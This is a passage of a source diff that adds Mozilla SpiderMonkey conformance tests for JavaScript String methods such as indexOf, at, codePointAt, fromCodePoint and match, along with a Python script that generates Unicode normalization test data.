+assertEq(raisesException(TypeError)('String.prototype.toString.call(undefined)'), true);
+assertEq(completesNormally('String.prototype.toString.call("")'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/String/15.5.4.7.js b/js/src/tests/non262/String/15.5.4.7.js
new file mode 100644
index 0000000000..4303b797f4
--- /dev/null
+++ b/js/src/tests/non262/String/15.5.4.7.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 612838;
+var summary = "String.prototype.indexOf with empty searchString";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq("123".indexOf("", -1), 0);
+assertEq("123".indexOf("", 0), 0);
+assertEq("123".indexOf("", 1), 1);
+assertEq("123".indexOf("", 3), 3);
+assertEq("123".indexOf("", 4), 3);
+assertEq("123".indexOf("", 12345), 3);
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/String/AdvanceStringIndex.js b/js/src/tests/non262/String/AdvanceStringIndex.js
new file mode 100644
index 0000000000..fc40466039
--- /dev/null
+++ b/js/src/tests/non262/String/AdvanceStringIndex.js
@@ -0,0 +1,43 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- AdvanceStringIndex in global match and replace.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== String.prototype.match ====
+
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".match(/\uD83D|X|/gu),
+ ["", "", "X", "", ""]);
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".match(/\uDC38|X|/gu),
+ ["", "", "X", "", ""]);
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".match(/\uD83D\uDC38|X|/gu),
+ ["\uD83D\uDC38", "", "X", "", ""]);
+
+// ==== String.prototype.replace ====
+
+// empty string replacement (optimized)
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uD83D|X|/gu, ""),
+ "\uD83D\uDC38\uD83D\uDC39\uD83D\uDC3A");
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uDC38|X|/gu, ""),
+ "\uD83D\uDC38\uD83D\uDC39\uD83D\uDC3A");
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uD83D\uDC38|X|/gu, ""),
+ "\uD83D\uDC39\uD83D\uDC3A");
+
+// non-empty string replacement
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uD83D|X|/gu, "x"),
+ "x\uD83D\uDC38x\uD83D\uDC39xx\uD83D\uDC3Ax");
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uDC38|X|/gu, "x"),
+ "x\uD83D\uDC38x\uD83D\uDC39xx\uD83D\uDC3Ax");
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uD83D\uDC38|X|/gu, "x"),
+ "xx\uD83D\uDC39xx\uD83D\uDC3Ax");
+
+// ==== String.prototype.split ====
+
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".split(/\uD83D|X|/u),
+ ["\uD83D\uDC38", "\uD83D\uDC39", "\uD83D\uDC3A"]);
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".split(/\uDC38|X|/u),
+ ["\uD83D\uDC38", "\uD83D\uDC39", "\uD83D\uDC3A"]);
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".split(/\uD83D\uDC38|X|/u),
+ ["", "\uD83D\uDC39", "\uD83D\uDC3A"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/IsRegExp.js b/js/src/tests/non262/String/IsRegExp.js
new file mode 100644
index 0000000000..f8f4d3fb16
--- /dev/null
+++ b/js/src/tests/non262/String/IsRegExp.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1054755;
+var summary = 'String.prototype.{startsWith,endsWith,includes} should call IsRegExp.';
+
+print(BUGNUMBER + ": " + summary);
+
+for (var method of ["startsWith", "endsWith", "includes"]) {
+ for (var re of [/foo/, new RegExp()]) {
+ assertThrowsInstanceOf(() => "foo"[method](re), TypeError);
+
+ re[Symbol.match] = false;
+ "foo"[method](re);
+ }
+
+ for (var v1 of [true, 1, "bar", [], {}, Symbol.iterator]) {
+ assertThrowsInstanceOf(() => "foo"[method]({ [Symbol.match]: v1 }), TypeError);
+ }
+
+ for (var v2 of [false, 0, undefined, ""]) {
+ "foo"[method]({ [Symbol.match]: v2 });
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/at.js b/js/src/tests/non262/String/at.js
new file mode 100644
index 0000000000..88554edb41
--- /dev/null
+++ b/js/src/tests/non262/String/at.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!String.prototype.at)
+
+function basic() {
+ assertEq("a".at(0), "a");
+ assertEq("a".at(-1), "a");
+
+ assertEq("".at(0), undefined);
+ assertEq("".at(-1), undefined);
+ assertEq("".at(1), undefined);
+
+ assertEq("ab".at(0), "a");
+ assertEq("ab".at(1), "b");
+ assertEq("ab".at(-2), "a");
+ assertEq("ab".at(-1), "b");
+
+ assertEq("ab".at(2), undefined);
+ assertEq("ab".at(-3), undefined);
+ assertEq("ab".at(-4), undefined);
+ assertEq("ab".at(Infinity), undefined);
+ assertEq("ab".at(-Infinity), undefined);
+ assertEq("ab".at(NaN), "a"); // ToInteger(NaN) = 0
+
+ assertEq("\u{1f921}".at(0), "\u{d83e}");
+ assertEq("\u{1f921}".at(1), "\u{dd21}");
+}
+
+function other() {
+ var n = 146;
+ assertEq(String.prototype.at.call(n, 0), "1");
+ var obj = {};
+ assertEq(String.prototype.at.call(obj, -1), "]");
+ var b = true;
+ assertEq(String.prototype.at.call(b, 0), "t");
+}
+
+basic();
+other();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/browser.js b/js/src/tests/non262/String/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/String/browser.js
diff --git a/js/src/tests/non262/String/codePointAt.js b/js/src/tests/non262/String/codePointAt.js
new file mode 100644
index 0000000000..5b14969390
--- /dev/null
+++ b/js/src/tests/non262/String/codePointAt.js
@@ -0,0 +1,84 @@
+var BUGNUMBER = 918879;
+var summary = 'String.prototype.codePointAt';
+
+print(BUGNUMBER + ": " + summary);
+
+// Tests taken from:
+// https://github.com/mathiasbynens/String.prototype.codePointAt/blob/master/tests/tests.js
+assertEq(String.prototype.codePointAt.length, 1);
+assertEq(String.prototype.propertyIsEnumerable('codePointAt'), false);
+
+// String that starts with a BMP symbol
+assertEq('abc\uD834\uDF06def'.codePointAt(''), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt('_'), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(-Infinity), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(-1), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(-0), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(0), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(3), 0x1D306);
+assertEq('abc\uD834\uDF06def'.codePointAt(4), 0xDF06);
+assertEq('abc\uD834\uDF06def'.codePointAt(5), 0x64);
+assertEq('abc\uD834\uDF06def'.codePointAt(42), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(Infinity), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(Infinity), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(NaN), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(false), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(null), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(undefined), 0x61);
+
+// String that starts with an astral symbol
+assertEq('\uD834\uDF06def'.codePointAt(''), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt('1'), 0xDF06);
+assertEq('\uD834\uDF06def'.codePointAt('_'), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(-1), undefined);
+assertEq('\uD834\uDF06def'.codePointAt(-0), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(0), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(1), 0xDF06);
+assertEq('\uD834\uDF06def'.codePointAt(42), undefined);
+assertEq('\uD834\uDF06def'.codePointAt(false), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(null), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(undefined), 0x1D306);
+
+// Lone high surrogates
+assertEq('\uD834abc'.codePointAt(''), 0xD834);
+assertEq('\uD834abc'.codePointAt('_'), 0xD834);
+assertEq('\uD834abc'.codePointAt(), 0xD834);
+assertEq('\uD834abc'.codePointAt(-1), undefined);
+assertEq('\uD834abc'.codePointAt(-0), 0xD834);
+assertEq('\uD834abc'.codePointAt(0), 0xD834);
+assertEq('\uD834abc'.codePointAt(false), 0xD834);
+assertEq('\uD834abc'.codePointAt(NaN), 0xD834);
+assertEq('\uD834abc'.codePointAt(null), 0xD834);
+assertEq('\uD834abc'.codePointAt(undefined), 0xD834);
+
+// Lone low surrogates
+assertEq('\uDF06abc'.codePointAt(''), 0xDF06);
+assertEq('\uDF06abc'.codePointAt('_'), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(-1), undefined);
+assertEq('\uDF06abc'.codePointAt(-0), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(0), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(false), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(NaN), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(null), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(undefined), 0xDF06);
+
+(function() { String.prototype.codePointAt.call(undefined); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.call(undefined, 4); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.call(null); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.call(null, 4); }, TypeError);
+assertEq(String.prototype.codePointAt.call(42, 0), 0x34);
+assertEq(String.prototype.codePointAt.call(42, 1), 0x32);
+assertEq(String.prototype.codePointAt.call({ 'toString': function() { return 'abc'; } }, 2), 0x63);
+
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.apply(undefined); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.apply(undefined, [4]); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.apply(null); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.apply(null, [4]); }, TypeError);
+assertEq(String.prototype.codePointAt.apply(42, [0]), 0x34);
+assertEq(String.prototype.codePointAt.apply(42, [1]), 0x32);
+assertEq(String.prototype.codePointAt.apply({ 'toString': function() { return 'abc'; } }, [2]), 0x63);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/String/defaultvalue.js b/js/src/tests/non262/String/defaultvalue.js
new file mode 100644
index 0000000000..50b4fe00df
--- /dev/null
+++ b/js/src/tests/non262/String/defaultvalue.js
@@ -0,0 +1,169 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 645464;
+var summary =
+ "[[DefaultValue]] behavior wrong for String with overridden valueOf/toString";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// equality
+
+var s = new String("c");
+assertEq(s == "c", true);
+
+var s2 = new String();
+s2.valueOf = function() { return "foo"; };
+assertEq(s2 == "foo", true);
+
+var s3 = new String();
+s3.toString = function() { return "bar"; };
+assertEq(s3 == "", true);
+
+function testEquality()
+{
+ var s = new String("c");
+ assertEq(s == "c", true);
+
+ var s2 = new String();
+ s2.valueOf = function() { return "foo"; };
+ assertEq(s2 == "foo", true);
+
+ var s3 = new String();
+ s3.toString = function() { return "bar"; };
+ assertEq(s3 == "", true);
+}
+testEquality();
+
+
+// addition of String to string
+
+var s = new String();
+assertEq(s + "", "");
+
+var s2 = new String();
+s2.toString = function() { return "bar"; };
+assertEq(s2 + "", "");
+
+var s3 = new String();
+s3.valueOf = function() { return "baz"; };
+assertEq(s3 + "", "baz");
+
+function testStringAddition()
+{
+ var s = new String();
+ assertEq(s + "", "");
+
+ var s2 = new String();
+ s2.toString = function() { return "bar"; };
+ assertEq(s2 + "", "");
+
+ var s3 = new String();
+ s3.valueOf = function() { return "baz"; };
+ assertEq(s3 + "", "baz");
+}
+testStringAddition();
+
+
+// addition of String to String
+
+var s = new String();
+assertEq(s + s, "");
+
+var s2 = new String();
+s2.toString = function() { return "baz"; };
+assertEq(s2 + s2, "");
+
+var s3 = new String();
+s3.valueOf = function() { return "quux"; };
+assertEq(s3 + s3, "quuxquux");
+
+function testNonStringAddition()
+{
+ var s = new String();
+ assertEq(s + s, "");
+
+ var s2 = new String();
+ s2.toString = function() { return "baz"; };
+ assertEq(s2 + s2, "");
+
+ var s3 = new String();
+ s3.valueOf = function() { return "quux"; };
+ assertEq(s3 + s3, "quuxquux");
+}
+testNonStringAddition();
+
+
+// String as bracketed property name
+
+var obj = { primitive: 17, valueOf: 42, toString: 8675309 };
+
+var s = new String("primitive");
+assertEq(obj[s], 17);
+
+var s2 = new String("primitive");
+s2.valueOf = function() { return "valueOf"; }
+assertEq(obj[s2], 17);
+
+var s3 = new String("primitive");
+s3.toString = function() { return "toString"; };
+assertEq(obj[s3], 8675309);
+
+function testPropertyNameToString()
+{
+ var obj = { primitive: 17, valueOf: 42, toString: 8675309 };
+
+ var s = new String("primitive");
+ assertEq(obj[s], 17);
+
+ var s2 = new String("primitive");
+ s2.valueOf = function() { return "valueOf"; }
+ assertEq(obj[s2], 17);
+
+ var s3 = new String("primitive");
+ s3.toString = function() { return "toString"; };
+ assertEq(obj[s3], 8675309);
+}
+testPropertyNameToString();
+
+
+// String as property name with |in| operator
+
+var s = new String();
+assertEq(s in { "": 5 }, true);
+
+var s2 = new String();
+s.toString = function() { return "baz"; };
+assertEq(s in { baz: 42 }, true);
+
+var s3 = new String();
+s3.valueOf = function() { return "quux"; };
+assertEq(s3 in { "": 17 }, true);
+
+function testInOperatorName()
+{
+ var s = new String();
+ assertEq(s in { "": 5 }, true);
+
+ var s2 = new String();
+ s.toString = function() { return "baz"; };
+ assertEq(s in { baz: 42 }, true);
+
+ var s3 = new String();
+ s3.valueOf = function() { return "quux"; };
+ assertEq(s3 in { "": 17 }, true);
+}
+testInOperatorName();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/String/fromCodePoint.js b/js/src/tests/non262/String/fromCodePoint.js
new file mode 100644
index 0000000000..dad61663f1
--- /dev/null
+++ b/js/src/tests/non262/String/fromCodePoint.js
@@ -0,0 +1,60 @@
+var BUGNUMBER = 918879;
+var summary = 'String.fromCodePoint';
+
+print(BUGNUMBER + ": " + summary);
+
+// Tests taken from:
+// https://github.com/mathiasbynens/String.fromCodePoint/blob/master/tests/tests.js
+
+assertEq(String.fromCodePoint.length, 1);
+assertEq(String.fromCodePoint.name, 'fromCodePoint');
+assertEq(String.propertyIsEnumerable('fromCodePoint'), false);
+
+assertEq(String.fromCodePoint(''), '\0');
+assertEq(String.fromCodePoint(), '');
+assertEq(String.fromCodePoint(-0), '\0');
+assertEq(String.fromCodePoint(0), '\0');
+assertEq(String.fromCodePoint(0x1D306), '\uD834\uDF06');
+assertEq(String.fromCodePoint(0x1D306, 0x61, 0x1D307), '\uD834\uDF06a\uD834\uDF07');
+assertEq(String.fromCodePoint(0x61, 0x62, 0x1D307), 'ab\uD834\uDF07');
+assertEq(String.fromCodePoint(false), '\0');
+assertEq(String.fromCodePoint(null), '\0');
+
+assertThrowsInstanceOf(function() { String.fromCodePoint('_'); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint('+Infinity'); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint('-Infinity'); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(-1); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(0x10FFFF + 1); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(3.14); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(3e-2); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(Infinity); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(NaN); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(undefined); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint({}); }, RangeError);
+
+var counter = Math.pow(2, 15) * 3 / 2;
+var result = [];
+while (--counter >= 0) {
+ result.push(0); // one code unit per symbol
+}
+String.fromCodePoint.apply(null, result); // must not throw
+
+var counter = Math.pow(2, 15) * 3 / 2;
+var result = [];
+while (--counter >= 0) {
+ result.push(0xFFFF + 1); // two code units per symbol
+}
+String.fromCodePoint.apply(null, result); // must not throw
+
+// str_fromCodePoint_one_arg (single argument, creates an inline string)
+assertEq(String.fromCodePoint(0x31), '1');
+// str_fromCodePoint_few_args (few arguments, creates an inline string)
+// JSFatInlineString::MAX_LENGTH_TWO_BYTE / 2 = floor(11 / 2) = 5
+assertEq(String.fromCodePoint(0x31, 0x32), '12');
+assertEq(String.fromCodePoint(0x31, 0x32, 0x33), '123');
+assertEq(String.fromCodePoint(0x31, 0x32, 0x33, 0x34), '1234');
+assertEq(String.fromCodePoint(0x31, 0x32, 0x33, 0x34, 0x35), '12345');
+// str_fromCodePoint (many arguments, creates a malloc string)
+assertEq(String.fromCodePoint(0x31, 0x32, 0x33, 0x34, 0x35, 0x36), '123456');
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/String/internalUsage.js b/js/src/tests/non262/String/internalUsage.js
new file mode 100644
index 0000000000..6ee8d5a581
--- /dev/null
+++ b/js/src/tests/non262/String/internalUsage.js
@@ -0,0 +1,30 @@
+var BUGNUMBER = 1268138;
+var summary = 'Internal usage of split should not be affected by prototpe change';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ var t = 24*60*60*1000;
+ var possibleAnswer = ["1.1.1970", "2.1.1970", "3.1.1970"];
+
+ String.prototype[Symbol.split] = function(s, limit) { return [""]; };
+ var s = Intl.DateTimeFormat("de", {}).format(t);
+ assertEq(possibleAnswer.includes(s), true);
+
+ String.prototype[Symbol.split] = function(s, limit) { return ["x-foo"]; };
+ s = Intl.DateTimeFormat("de", {}).format(t);
+ assertEq(possibleAnswer.includes(s), true);
+
+ String.prototype[Symbol.split] = function(s, limit) { return ["de-u-co"]; };
+ s = Intl.DateTimeFormat("de", {}).format(t);
+ assertEq(possibleAnswer.includes(s), true);
+
+ String.prototype[Symbol.split] = function(s, limit) { return ["en-US"]; };
+ s = Intl.DateTimeFormat("de", {}).format(t);
+ assertEq(possibleAnswer.includes(s), true);
+}
+
+if (this.hasOwnProperty("Intl"))
+ test();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/String/iterator_edge_cases.js b/js/src/tests/non262/String/iterator_edge_cases.js
new file mode 100644
index 0000000000..15fe6d0fb1
--- /dev/null
+++ b/js/src/tests/non262/String/iterator_edge_cases.js
@@ -0,0 +1,27 @@
+// Test that we can't confuse %StringIteratorPrototype% for a
+// StringIterator object.
+function TestStringIteratorPrototypeConfusion() {
+ var iter = ""[Symbol.iterator]();
+ try {
+ iter.next.call(Object.getPrototypeOf(iter))
+ throw new Error("Call did not throw");
+ } catch (e) {
+ assertEq(e instanceof TypeError, true);
+ assertEq(e.message, "next method called on incompatible String Iterator");
+ }
+}
+TestStringIteratorPrototypeConfusion();
+
+// Tests that we can use %StringIteratorPrototype%.next on a
+// cross-compartment iterator.
+function TestStringIteratorWrappers() {
+ var iter = ""[Symbol.iterator]();
+ assertDeepEq(iter.next.call(newGlobal().eval('"x"[Symbol.iterator]()')),
+ { value: "x", done: false })
+}
+if (typeof newGlobal === "function") {
+ TestStringIteratorWrappers();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/lastIndexOf-ToNumber-when-searchStr-larger-than-string.js b/js/src/tests/non262/String/lastIndexOf-ToNumber-when-searchStr-larger-than-string.js
new file mode 100644
index 0000000000..a4c3c316e0
--- /dev/null
+++ b/js/src/tests/non262/String/lastIndexOf-ToNumber-when-searchStr-larger-than-string.js
@@ -0,0 +1,22 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var str = "a";
+var searchStr = "abc";
+
+var position = new Object();
+var valueOfCalled = false;
+function positionValueOf() {
+ assertEq(valueOfCalled, false);
+ valueOfCalled = true;
+ return 0;
+}
+position.valueOf = positionValueOf;
+
+var result = str.lastIndexOf(searchStr, position);
+assertEq(result, -1);
+assertEq(valueOfCalled, true);
+
+if (typeof reportCompare == "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/String/make-normalize-generateddata-input.py b/js/src/tests/non262/String/make-normalize-generateddata-input.py
new file mode 100644
index 0000000000..9fb23e682e
--- /dev/null
+++ b/js/src/tests/non262/String/make-normalize-generateddata-input.py
@@ -0,0 +1,88 @@
+#!/usr/bin/python -B
+
+""" Usage: make-normalize-generateddata-input.py PATH_TO_MOZILLA_CENTRAL
+
+ This script generates test input data for String.prototype.normalize
+ from intl/icu/source/data/unidata/NormalizationTest.txt
+ to js/src/tests/non262/String/normalize-generateddata-input.js
+"""
+
+from __future__ import print_function
+import re
+import sys
+
+sep_pat = re.compile(" +")
+
+
+def to_code_list(codes):
+ return "[" + ", ".join("0x{0}".format(x) for x in re.split(sep_pat, codes)) + "]"
+
+
+def convert(dir):
+ ver_pat = re.compile("NormalizationTest-([0-9\.]+)\.txt")
+ part_pat = re.compile("^@(Part([0-9]+) .+)$")
+ test_pat = re.compile(
+ "^([0-9A-Fa-f ]+);([0-9A-Fa-f ]+);([0-9A-Fa-f ]+);([0-9A-Fa-f ]+);([0-9A-Fa-f ]+);$"
+ )
+ ignore_pat = re.compile("^#|^$")
+ js_path = "js/src/tests/non262/String/normalize-generateddata-input.js"
+ txt_path = "intl/icu/source/data/unidata/NormalizationTest.txt"
+
+ part_opened = False
+ not_empty = False
+ with open("{dir}/{path}".format(dir=dir, path=txt_path), "r") as f:
+ with open("{dir}/{path}".format(dir=dir, path=js_path), "w") as outf:
+ for line in f:
+ m = test_pat.search(line)
+ if m:
+ if not_empty:
+ outf.write(",")
+ outf.write("\n")
+ pat = "{{ source: {source}, NFC: {NFC}, NFD: {NFD}, NFKC: {NFKC}, NFKD: {NFKD} }}" # NOQA: E501
+ outf.write(
+ pat.format(
+ source=to_code_list(m.group(1)),
+ NFC=to_code_list(m.group(2)),
+ NFD=to_code_list(m.group(3)),
+ NFKC=to_code_list(m.group(4)),
+ NFKD=to_code_list(m.group(5)),
+ )
+ )
+ not_empty = True
+ continue
+ m = part_pat.search(line)
+ if m:
+ desc = m.group(1)
+ part = m.group(2)
+ if part_opened:
+ outf.write("\n];\n")
+ outf.write("/* {desc} */\n".format(desc=desc))
+ outf.write("var tests_part{part} = [".format(part=part))
+ part_opened = True
+ not_empty = False
+ continue
+ m = ver_pat.search(line)
+ if m:
+ ver = m.group(1)
+ outf.write(
+ "/* created from NormalizationTest-{ver}.txt */\n".format(
+ ver=ver
+ )
+ )
+ continue
+ m = ignore_pat.search(line)
+ if m:
+ continue
+ print("Unknown line: {0}".format(line), file=sys.stderr)
+ if part_opened:
+ outf.write("\n];\n")
+
+
+if __name__ == "__main__":
+ if len(sys.argv) < 2:
+ print(
+ "Usage: make-normalize-generateddata-input.py PATH_TO_MOZILLA_CENTRAL",
+ file=sys.stderr,
+ )
+ sys.exit(1)
+ convert(sys.argv[1])
diff --git a/js/src/tests/non262/String/match-001.js b/js/src/tests/non262/String/match-001.js
new file mode 100644
index 0000000000..39eca3035c
--- /dev/null
+++ b/js/src/tests/non262/String/match-001.js
@@ -0,0 +1,104 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/match-001.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * String.match( regexp )
+ *
+ * If regexp is not an object of type RegExp, it is replaced with result
+ * of the expression new RegExp(regexp). Let string denote the result of
+ * converting the this value to a string. If regexp.global is false,
+ * return the result obtained by invoking RegExp.prototype.exec (see
+ * section 15.7.5.3) on regexp with string as parameter.
+ *
+ * Otherwise, set the regexp.lastIndex property to 0 and invoke
+ * RegExp.prototype.exec repeatedly until there is no match. If there is a
+ * match with an empty string (in other words, if the value of
+ * regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+ * The value returned is an array with the properties 0 through n-1
+ * corresponding to the first element of the result of each matching
+ * invocation of RegExp.prototype.exec.
+ *
+ * Note that the match function is intentionally generic; it does not
+ * require that its this value be a string object. Therefore, it can be
+ * transferred to other kinds of objects for use as a method.
+ */
+
+var SECTION = "String/match-001.js";
+var TITLE = "String.prototype.match( regexp )";
+
+
+// the regexp argument is not a RegExp object
+// this is not a string object
+
+// cases in which the regexp global property is false
+
+AddRegExpCases( 3, "3", "1234567890", 1, 2, ["3"] );
+
+// cases in which the regexp object global property is true
+
+AddGlobalRegExpCases( /34/g, "/34/g", "343443444", 3, ["34", "34", "34"] );
+AddGlobalRegExpCases( /\d{1}/g, "/d{1}/g", "123456abcde7890", 10,
+ ["1", "2", "3", "4", "5", "6", "7", "8", "9", "0"] );
+
+AddGlobalRegExpCases( /\d{2}/g, "/d{2}/g", "123456abcde7890", 5,
+ ["12", "34", "56", "78", "90"] );
+
+AddGlobalRegExpCases( /\D{2}/g, "/d{2}/g", "123456abcde7890", 2,
+ ["ab", "cd"] );
+
+test();
+
+
+function AddRegExpCases(
+ regexp, str_regexp, string, length, index, matches_array ) {
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ length,
+ string.match(regexp).length );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").index",
+ index,
+ string.match(regexp).index );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").input",
+ string,
+ string.match(regexp).input );
+
+ for ( var matches = 0; matches < matches_array.length; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
+
+function AddGlobalRegExpCases(
+ regexp, str_regexp, string, length, matches_array ) {
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ length,
+ string.match(regexp).length );
+
+ for ( var matches = 0; matches < matches_array.length; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
diff --git a/js/src/tests/non262/String/match-002.js b/js/src/tests/non262/String/match-002.js
new file mode 100644
index 0000000000..5450557fe6
--- /dev/null
+++ b/js/src/tests/non262/String/match-002.js
@@ -0,0 +1,172 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/match-002.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * String.match( regexp )
+ *
+ * If regexp is not an object of type RegExp, it is replaced with result
+ * of the expression new RegExp(regexp). Let string denote the result of
+ * converting the this value to a string. If regexp.global is false,
+ * return the result obtained by invoking RegExp.prototype.exec (see
+ * section 15.7.5.3) on regexp with string as parameter.
+ *
+ * Otherwise, set the regexp.lastIndex property to 0 and invoke
+ * RegExp.prototype.exec repeatedly until there is no match. If there is a
+ * match with an empty string (in other words, if the value of
+ * regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+ * The value returned is an array with the properties 0 through n-1
+ * corresponding to the first element of the result of each matching
+ * invocation of RegExp.prototype.exec.
+ *
+ * Note that the match function is intentionally generic; it does not
+ * require that its this value be a string object. Therefore, it can be
+ * transferred to other kinds of objects for use as a method.
+ *
+ * This file tests cases in which regexp.global is false. Therefore,
+ * results should behave as regexp.exec with string passed as a parameter.
+ *
+ */
+
+var SECTION = "String/match-002.js";
+var TITLE = "String.prototype.match( regexp )";
+
+
+// the regexp argument is not a RegExp object
+// this is not a string object
+
+AddRegExpCases( /([\d]{5})([-\ ]?[\d]{4})?$/,
+ "/([\d]{5})([-\ ]?[\d]{4})?$/",
+ "Boston, Mass. 02134",
+ 14,
+ ["02134", "02134", undefined]);
+
